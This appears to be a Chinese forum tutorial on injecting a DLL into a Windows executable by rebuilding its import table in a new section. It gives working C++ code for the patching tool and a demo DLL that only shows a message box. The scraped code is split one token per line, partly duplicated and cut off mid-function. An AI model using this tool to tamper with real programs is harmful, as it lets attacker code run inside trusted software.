在编程中常常用到“导入函数”(Import functions),导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或者多个DLL中,在调用者程序中只保留一些函数信息,包括函数名及其驻留的DLL名等。
于磁盘上的PE 文件来说,它无法得知这些输入函数在内存中的地址,只有当PE 文件被装入内存后,Windows 加载器才将相关DLL 装入,并将调用输入函数的指令和函数实际所处的地址联系起来。这就是“动态链接”的概念。动态链接是通过PE 文件中定义的“导入表”来完成的,导入表中保存的正是函数名和其驻留的DLL 名等。
导入表由一系列IMAGE_IMPORT_DESCRIPTOR结构体组成:
结构的数量取决于程序要使用的DLL文件的数量,每一个结构对应一个DLL文件
该结构体的定义如下:
具体在PE文件中,就像这个样子:
在IMAGE_IMPORT_DESCRIPTOR的结构体的最后面,附带着许多小结构体,里面记录的信息是该导入表的DLL要导入使用的API
以上便是导入表的基础结构
由《加密与解密》中得知。Windows装载PE文件时,会检查导入表,将导入表所包含要使用的DLL加载进程序中,这也就产生了一个DLL注入的点,如果将恶意DLL写入导入表中,就可以让程序在运行时调用恶意DLL中的代码,达到DLL注入的效果
要实现导入表注入,需要把要注入的DLL构造的结构体塞进导入表里,但是由于导入表默认不是在PE文件的最后,所以导入表原来所在的位置不一定有足够大的空间塞入一个新的结构体,这时我们就需要把导入表移动到新的足够大的位置,有两种办法,扩大最后一个节和直接新增一个节,比较方便的方法是选择新增一个节,在新增节后将原导入表放进去,如何在最后写入自己的导入表,再新增8字节的INT和8字节IAT,至于为什么要增加8字节的INT表和8字节的IAT表,可以这样解释:
如图,当我们新写入一个IMAGE_IMPORT_DESCRIPTOR结构,我们就需要建立INT和IAT对于该结构的映射,此时就需要扩充IAT和INT表
具体实现步骤如下:
注入前
注入后
运行时
由于是静态注入,直接修改了exe文件,所以可使用校验的方式去检测有无被注入
《32位PE解析、PE修改、导入表注入》
PE基础之导入表注入
Ring3注入总结及编程实现
struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk;
} DUMMYUNIONNAME;
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name;
/
/
导入模块名的RVA
DWORD FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR;
struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk;
} DUMMYUNIONNAME;
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name;
/
/
导入模块名的RVA
DWORD FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR;
typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint;
BYTE Name[
1
];
} IMAGE_IMPORT_BY_NAME,
*
PIMAGE_IMPORT_BY_NAME;
typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint;
BYTE Name[
1
];
} IMAGE_IMPORT_BY_NAME,
*
PIMAGE_IMPORT_BY_NAME;
/
/
dllmain.cpp : 定义 DLL 应用程序的入口点。
extern
"C"
__declspec(dllexport) void puts()
{
MessageBoxA(
0
,
"hi"
,
"hello"
,
0
);
return
;
}
BOOL
APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
puts();
break
;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break
;
}
return
TRUE;
}
/
/
dllmain.cpp : 定义 DLL 应用程序的入口点。
extern
"C"
__declspec(dllexport) void puts()
{
MessageBoxA(
0
,
"hi"
,
"hello"
,
0
);
return
;
}
BOOL
APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
puts();
break
;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break
;
}
return
TRUE;
}
/
/
获取DOS头
PIMAGE_DOS_HEADER GetDosHeader(_In_ char
*
pBase) {
return
PIMAGE_DOS_HEADER(pBase);
}
/
/
获取NT头
PIMAGE_NT_HEADERS GetNtHeader(_In_ char
*
pBase) {
return
PIMAGE_NT_HEADERS(GetDosHeader(pBase)
-
>e_lfanew
+
(SIZE_T)pBase);
}
/
/
获取文件头
PIMAGE_FILE_HEADER GetFileHeader(_In_ char
*
pBase) {
return
&(GetNtHeader(pBase)
-
>FileHeader);
}
/
/
获取OPT头
PIMAGE_OPTIONAL_HEADER32 GetOptHeader(_In_ char
*
pBase) {
return
&(GetNtHeader(pBase)
-
>OptionalHeader);
}
PIMAGE_SECTION_HEADER GetSecByName(_In_ char
*
pBase, _In_ const char
*
name) {
DWORD Secnum
=
GetFileHeader(pBase)
-
>NumberOfSections;
PIMAGE_SECTION_HEADER Section
=
IMAGE_FIRST_SECTION(GetNtHeader(pBase));
char buf[
10
]
=
{
0
};
for
(DWORD i
=
0
; i < Secnum; i
+
+
) {
memcpy_s(buf,
8
, (char
*
)Section[i].Name,
8
);
if
(!strcmp(buf, name)) {
return
Section
+
i;
}
}
return
nullptr;
}
/
/
获取最后一个区段
PIMAGE_SECTION_HEADER GetLastSec(_In_ char
*
PeBase) {
DWORD SecNum
=
GetFileHeader(PeBase)
-
>NumberOfSections;
PIMAGE_SECTION_HEADER FirstSec
=
IMAGE_FIRST_SECTION(GetNtHeader(PeBase));
PIMAGE_SECTION_HEADER LastSec
=
FirstSec
+
SecNum
-
1
;
return
LastSec;
}
char
*
OpenPeFiles(_In_ const char
*
Path, _Out_opt_ DWORD
*
nFileSize)
{
/
/
读文件
HANDLE hFile
=
CreateFileA(Path,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if
(hFile
=
=
INVALID_HANDLE_VALUE)
{
/
/
printf(
"打开文件失败"
);
return
NULL;
}
DWORD PeSize
=
GetFileSize(hFile, NULL);
if
(nFileSize)
*
nFileSize
=
PeSize;
DWORD ReadSize
=
0
;
char
*
PeBase
=
new CHAR[PeSize]{
0
};
ReadFile(hFile, PeBase, PeSize, &ReadSize, NULL);
PIMAGE_DOS_HEADER pDosHeader
=
(PIMAGE_DOS_HEADER)PeBase;
/
/
检测DOS头和NT头
if
(pDosHeader
-
>e_magic !
=
IMAGE_DOS_SIGNATURE)
{
/
/
printf(
"不是PE文件\n"
);
/
/
system(
"pause"
);
return
NULL;
}
PIMAGE_NT_HEADERS pNtHeader
=
(PIMAGE_NT_HEADERS)(PeBase
+
pDosHeader
-
>e_lfanew);
if
(pNtHeader
-
>Signature !
=
IMAGE_NT_SIGNATURE)
{
/
/
printf(
"不是PE文件\n"
);
/
/
system(
"pause"
);
return
NULL;
}
CloseHandle(hFile);
return
PeBase;
}
/
/
粒度对齐处理
int
AlignMent(_In_
int
size, _In_
int
alignment) {
return
(size)
%
(alignment)
=
=
0
? (size) : ((size)
/
alignment
+
1
)
*
(alignment);
}
/
/
新增节
char
*
AddSection(_In_ char
*
& PeBase, _In_ DWORD& PeSize, _In_ const char
*
Section_name, _In_ const
int
Section_size)
{
GetFileHeader(PeBase)
-
>NumberOfSections
+
+
;
PIMAGE_SECTION_HEADER LastPeSection
=
GetLastSec(PeBase);
memcpy(LastPeSection
-
>Name, Section_name,
8
);
LastPeSection
-
>Misc.VirtualSize
=
Section_size;
LastPeSection
-
>VirtualAddress
=
(LastPeSection
-
1
)
-
>VirtualAddress
+
AlignMent((LastPeSection
-
1
)
-
>SizeOfRawData, GetOptHeader(PeBase)
-
>SectionAlignment);
LastPeSection
-
>SizeOfRawData
=
AlignMent(Section_size, GetOptHeader(PeBase)
-
>FileAlignment);
LastPeSection
-
>PointerToRawData
=
AlignMent(PeSize, GetOptHeader(PeBase)
-
>FileAlignment);
LastPeSection
-
>Characteristics
=
0xc0000040
;
/
/
节表属性设为该值,意为该节表可读可写且包含已初始化的数据
GetOptHeader(PeBase)
-
>SizeOfImage
=
LastPeSection
-
>VirtualAddress
+
LastPeSection
-
>SizeOfRawData;
int
NewSize
=
LastPeSection
-
>PointerToRawData
+
LastPeSection
-
>SizeOfRawData;
char
*
NewPeBase
=
new char [NewSize] {
0
};
/
/
向新缓冲区录入数据
memcpy(NewPeBase, PeBase, PeSize);
/
/
缓存区更替
delete PeBase;
PeSize
=
NewSize;
return
NewPeBase;
}
/
/
保存文件
void SaveFile(_In_ const char
*
path, _In_ const char
*
data, _In_
int
FileSize) {
HANDLE hFile
=
CreateFileA(
path,
GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
DWORD Buf
=
0
;
WriteFile(hFile, data, FileSize, &Buf, NULL);
CloseHandle(hFile);
}
/
/
将RVA的值转换成FOA
LPVOID RvaToFoa(LPVOID pFileBuffer, LPSTR virtualAddress) {
LPSTR sectionAddress
=
NULL;
/
/
记录距离节头的距离
LPSTR fileAddress
=
NULL;
/
/
记录文件中的偏移
PIMAGE_DOS_HEADER pDosHeader
=
NULL;
PIMAGE_NT_HEADERS pNTHeader
=
NULL;
PIMAGE_FILE_HEADER pPEHeader
=
NULL;
PIMAGE_OPTIONAL_HEADER32 pOptionHeader
=
NULL;
PIMAGE_SECTION_HEADER pSectionHeader
=
NULL;
if
(pFileBuffer
=
=
NULL) {
printf(
"文件写入内存失败!\n"
);
return
NULL;
}
pDosHeader
=
(PIMAGE_DOS_HEADER)pFileBuffer;
pNTHeader
=
(PIMAGE_NT_HEADERS)((DWORD)pFileBuffer
+
pDosHeader
-
>e_lfanew);
pPEHeader
=
(PIMAGE_FILE_HEADER)((DWORD)pNTHeader
+
4
);
pOptionHeader
=
(PIMAGE_OPTIONAL_HEADER32)((DWORD)pPEHeader
+
20
);
pSectionHeader
=
(PIMAGE_SECTION_HEADER)((DWORD)pOptionHeader
+
pPEHeader
-
>SizeOfOptionalHeader);
if
((DWORD)virtualAddress <
=
pOptionHeader
-
>SizeOfHeaders) {
return
virtualAddress;
}
for
(DWORD i
=
1
; i <
=
pPEHeader
-
>NumberOfSections; i
+
+
) {
if
((DWORD)virtualAddress < pSectionHeader
-
>VirtualAddress) {
pSectionHeader
-
-
;
break
;
}
else
if
(i
=
=
pPEHeader
-
>NumberOfSections) {
break
;
}
else
{
pSectionHeader
+
+
;
}
}
/
/
距离该节头的距离
sectionAddress
=
virtualAddress
-
pSectionHeader
-
>VirtualAddress;
fileAddress
=
pSectionHeader
-
>PointerToRawData
+
sectionAddress;
return
(LPVOID)fileAddress;
}
/
/
将FOA的值转换成RVA
LPVOID FoaToRva(LPVOID pFileBuffer, LPSTR fileaddress) {
LPSTR sectionAddress
=
NULL;
/
/
记录距离节头的距离
LPSTR virtualaddress
=
NULL;
/
/
记录内存中的偏移
PIMAGE_DOS_HEADER pDosHeader
=
NULL;
PIMAGE_NT_HEADERS pNTHeader
=
NULL;
PIMAGE_FILE_HEADER pPEHeader
=
NULL;
PIMAGE_OPTIONAL_HEADER32 pOptionHeader
=
NULL;
PIMAGE_SECTION_HEADER pSectionHeader
=
NULL;
if
(pFileBuffer
=
=
NULL) {
printf(
"文件写入内存失败!\n"
);
return
NULL;
}
pDosHeader
=
(PIMAGE_DOS_HEADER)pFileBuffer;
pNTHeader
=
(PIMAGE_NT_HEADERS)((DWORD)pFileBuffer
+
pDosHeader
-
>e_lfanew);
pPEHeader
=
(PIMAGE_FILE_HEADER)((DWORD)pNTHeader
+
4
);
pOptionHeader
=
(PIMAGE_OPTIONAL_HEADER32)((DWORD)pPEHeader
+
20
);
pSectionHeader
=
(PIMAGE_SECTION_HEADER)((DWORD)pOptionHeader
+
pPEHeader
-
>SizeOfOptionalHeader);
if
((DWORD)fileaddress <
=
pOptionHeader
-
>SizeOfHeaders) {
return
fileaddress;
}
for
(DWORD i
=
1
; i <
=
pPEHeader
-
>NumberOfSections; i
+
+
) {
if
((DWORD)fileaddress < pSectionHeader
-
>PointerToRawData) {
pSectionHeader
-
-
;
break
;
}
else
if
(i
=
=
pPEHeader
-
>NumberOfSections) {
break
;
}
else
{
pSectionHeader
+
+
;
}
}
/
/
距离该节头的距离
sectionAddress
=
fileaddress
-
pSectionHeader
-
>PointerToRawData;
virtualaddress
=
pSectionHeader
-
>VirtualAddress
+
sectionAddress;
return
(LPVOID)virtualaddress;
}
char
*
inject_dll(_In_ char
*
& PeBase, _In_ DWORD& PeSize)
{
PIMAGE_DATA_DIRECTORY pDataDirectory
=
NULL;
/
/
定位表目录
PIMAGE_IMPORT_DESCRIPTOR importTableAddress
=
NULL;
/
/
定位导入表的真正位置
LPVOID returnAddress
=
NULL;
/
/
记录RVAtoFOA的返回值
/
/
定位到新节的位置和导入表的位置
pDataDirectory
=
(PIMAGE_DATA_DIRECTORY)GetOptHeader(PeBase)
-
>DataDirectory;
pDataDirectory
+
=
0x1
;
DWORD sectionLength
=
pDataDirectory
-
>Size
+
0x28
+
+
0x10
+
DLLNAMELENGTH
+
FUNCTIONNAMELENGTH
+
0x2
;
sectionLength
=
AlignMent(sectionLength, GetOptHeader(PeBase)
-
>FileAlignment);
char SecName[]
=
".ddjsq"
;
char
*
NewPeBase
=
AddSection(PeBase, PeSize, SecName, sectionLength);
pDataDirectory
=
(PIMAGE_DATA_DIRECTORY)GetOptHeader(NewPeBase)
-
>DataDirectory;
pDataDirectory
+
=
0x1
;
PDWORD pNewSection
=
(PDWORD)(GetLastSec(NewPeBase)
-
>PointerToRawData
+
(DWORD)NewPeBase);
returnAddress
=
RvaToFoa(NewPeBase, (LPSTR)pDataDirectory
-
>VirtualAddress);
importTableAddress
=
(PIMAGE_IMPORT_DESCRIPTOR)((DWORD)returnAddress
+
(DWORD)NewPeBase);
/
/
复制原导入表,在原导入表后新增一个导入表
memcpy(pNewSection, importTableAddress, pDataDirectory
-
>Size);
importTableAddress
=
(PIMAGE_IMPORT_DESCRIPTOR)((DWORD)pNewSection
+
pDataDirectory
-
>Size
-
0x14
);
/
/
增加
8
字节
INT
表
PIMAGE_THUNK_DATA32 pIntTable
=
(PIMAGE_THUNK_DATA32)((DWORD)importTableAddress
+
0x28
);
/
/
保留
20
字节的
0
PIMAGE_THUNK_DATA32 repairIntTable
=
pIntTable;
pIntTable
+
+
;
pIntTable
-
>u1.Ordinal
=
0x0
;
pIntTable
+
+
;
/
/
增加
8
字节IAT表
PIMAGE_THUNK_DATA32 pIatTable
=
(PIMAGE_THUNK_DATA32)(pIntTable);
PIMAGE_THUNK_DATA32 repairIatTable
=
pIatTable;
pIatTable
+
+
;
pIatTable
-
>u1.Ordinal
=
0x0
;
pIatTable
+
+
;
/
/
分配空间存储DLL名称字符串
PDWORD dllNameAddress
=
(PDWORD)pIatTable;
memcpy(dllNameAddress, DLLNAME, DLLNAMELENGTH);
/
/
增加IMAGE_IMPORT_BY_NAME 结构
PIMAGE_IMPORT_BY_NAME functionNameAddress
=
(PIMAGE_IMPORT_BY_NAME)((DWORD)dllNameAddress
+
DLLNAMELENGTH);
PDWORD pFunctionName
=
(PDWORD)((DWORD)functionNameAddress
+
0x2
);
memcpy(pFunctionName, FUNCTIONNAME, FUNCTIONNAMELENGTH);
/
/
将IMAGE_IMPORT_BY_NAME结构的RVA赋值给
INT
和IAT表中的第一项
repairIntTable
-
>u1.AddressOfData
=
(DWORD)FoaToRva(NewPeBase, (LPSTR)((DWORD)functionNameAddress
-
(DWORD)NewPeBase));
repairIatTable
-
>u1.AddressOfData
=
repairIntTable
-
>u1.Ordinal;
/
/
修正导入表Name、OriginalFirstThunk、FirstThunk
importTableAddress
-
>Name
=
(DWORD)FoaToRva(NewPeBase, (LPSTR)((DWORD)dllNameAddress
-
(DWORD)NewPeBase));
importTableAddress
-
>OriginalFirstThunk
=
(DWORD)FoaToRva(NewPeBase, (LPSTR)((DWORD)repairIntTable
-
(DWORD)NewPeBase));
importTableAddress
-
>FirstThunk
=
(DWORD)FoaToRva(NewPeBase, (LPSTR)((DWORD)repairIatTable
-
(DWORD)NewPeBase));
/
/
修正IMAGE_DATA_DIRECTORY结构的VirtualAddress和Size
pDataDirectory
-
>VirtualAddress
=
(DWORD)FoaToRva(NewPeBase, (LPSTR)((DWORD)pNewSection
-
(DWORD)NewPeBase));
pDataDirectory
-
>Size
+
=
0x14
;
return
NewPeBase;
}
int
main()
{
char path[]
=
"路径"
;
DWORD pesize;
char
*
PeBase
=
OpenPeFiles(path, &pesize);
if
(!PeBase)
{
printf(
"wrong"
);
return
0
;
}
char
*
NewPeBase
=
inject_dll(PeBase, pesize);
SaveFile(
"路径"
, NewPeBase, pesize);
}
/
/
获取DOS头
PIMAGE_DOS_HEADER GetDosHeader(_In_ char
*
pBase) {
return
PIMAGE_DOS_HEADER(pBase);
}
/
/
获取NT头
PIMAGE_NT_HEADERS GetNtHeader(_In_ char
*
pBase) {
return
PIMAGE_NT_HEADERS(GetDosHeader(pBase)
-
>e_lfanew
+
(SIZE_T)pBase);
}
/
/
获取文件头
PIMAGE_FILE_HEADER GetFileHeader(_In_ char
*
pBase) {
return
&(GetNtHeader(pBase)
-
>FileHeader);
}
/
/
获取OPT头
PIMAGE_OPTIONAL_HEADER32 GetOptHeader(_In_ char
*
pBase) {
return
&(GetNtHeader(pBase)
-
>OptionalHeader);
}
PIMAGE_SECTION_HEADER GetSecByName(_In_ char
*
pBase, _In_ const char
*
name) {
DWORD Secnum
=
GetFileHeader(pBase)
-
>NumberOfSections;
PIMAGE_SECTION_HEADER Section
=
IMAGE_FIRST_SECTION(GetNtHeader(pBase));
char buf[
10
]
=
{
0
};
for
(DWORD i
=
0
; i < Secnum; i
+
+
) {
memcpy_s(buf,
8
, (char
*
)Section[i].Name,
8
);
if
(!strcmp(buf, name)) {
return
Section
+
i;
}
}
return
nullptr;
}
/
/
获取最后一个区段
PIMAGE_SECTION_HEADER GetLastSec(_In_ char
*
PeBase) {
DWORD SecNum
=
GetFileHeader(PeBase)
-
>NumberOfSections;
PIMAGE_SECTION_HEADER FirstSec
=
IMAGE_FIRST_SECTION(GetNtHeader(PeBase));
PIMAGE_SECTION_HEADER LastSec
=
FirstSec
+
SecNum
-
1
;
return
LastSec;
}
char
*
OpenPeFiles(_In_ const char
*
Path, _Out_opt_ DWORD
*
nFileSize)
{
/
/
读文件
HANDLE hFile
=
CreateFileA(Path,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if
(hFile
=
=
INVALID_HANDLE_VALUE)
{
/
/
printf(
"打开文件失败"
);
return
NULL;
}
DWORD PeSize
=
GetFileSize(hFile, NULL);
if
(nFileSize)
*
nFileSize
=
PeSize;
DWORD ReadSize
=
0
;
char
*
PeBase
=
new CHAR[PeSize]{
0
};
ReadFile(hFile, PeBase, PeSize, &ReadSize, NULL);
PIMAGE_DOS_HEADER pDosHeader
=
(PIMAGE_DOS_HEADER)PeBase;
/
/
检测DOS头和NT头
if
(pDosHeader
-
>e_magic !
=
IMAGE_DOS_SIGNATURE)
{
/
/
printf(
"不是PE文件\n"
);
/
/
system(
"pause"
);
return
NULL;
}
PIMAGE_NT_HEADERS pNtHeader
=
(PIMAGE_NT_HEADERS)(PeBase
+
pDosHeader
-
>e_lfanew);
if
(pNtHeader
-
>Signature !
=
IMAGE_NT_SIGNATURE)
{
/
/
printf(
"不是PE文件\n"
);
/
/
system(
"pause"
);
return
NULL;
}
CloseHandle(hFile);
return
PeBase;
}
/
/
粒度对齐处理
int
AlignMent(_In_
int
size, _In_
int
alignment) {
return
(size)
%
(alignment)
=
=
0
? (size) : ((size)
/
alignment
+
1
)
*
(alignment);
}
/
/
新增节
char
*
AddSection(_In_ char
*
& PeBase, _In_ DWORD& PeSize, _In_ const char
*
Section_name, _In_ const
int
Section_size)
{
GetFileHeader(PeBase)
-
>NumberOfSections
+
+
;
PIMAGE_SECTION_HEADER LastPeSection
=
GetLastSec(PeBase);
memcpy(LastPeSection
-
>Name, Section_name,
8
);
LastPeSection
-
>Misc.VirtualSize
=
Section_size;
LastPeSection
-
>VirtualAddress
=
(LastPeSection
-
1
)
-
>VirtualAddress
+
AlignMent((LastPeSection
-
1
)
-
>SizeOfRawData, GetOptHeader(PeBase)
-
>SectionAlignment);
LastPeSection
-
>SizeOfRawData
=
AlignMent(Section_size, GetOptHeader(PeBase)
-
>FileAlignment);
LastPeSection
-
>PointerToRawData
=
AlignMent(PeSize, GetOptHeader(PeBase)
-
>FileAlignment);
LastPeSection
-
>Characteristics
=
0xc0000040
;
/
/
节表属性设为该值,意为该节表可读可写且包含已初始化的数据
GetOptHeader(PeBase)
-
>SizeOfImage
=
LastPeSection
-
>VirtualAddress
+
LastPeSection
-
>SizeOfRawData;
int
NewSize
=
LastPeSection
-
>PointerToRawData
+
LastPeSection
-
>SizeOfRawData;
char
*
NewPeBase
=
new char [NewSize] {
0
};
/
/
向新缓冲区录入数据
memcpy(NewPeBase, PeBase, PeSize);
/
/
缓存区更替
delete PeBase;
PeSize
=
NewSize;
return
NewPeBase;
}
/
/
保存文件
void SaveFile(_In_ const char
*
path, _In_ const char
*
data, _In_
int
FileSize) {
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2021-8-18 21:27
被Ddjsq_2333编辑
,原因: 添加参考链接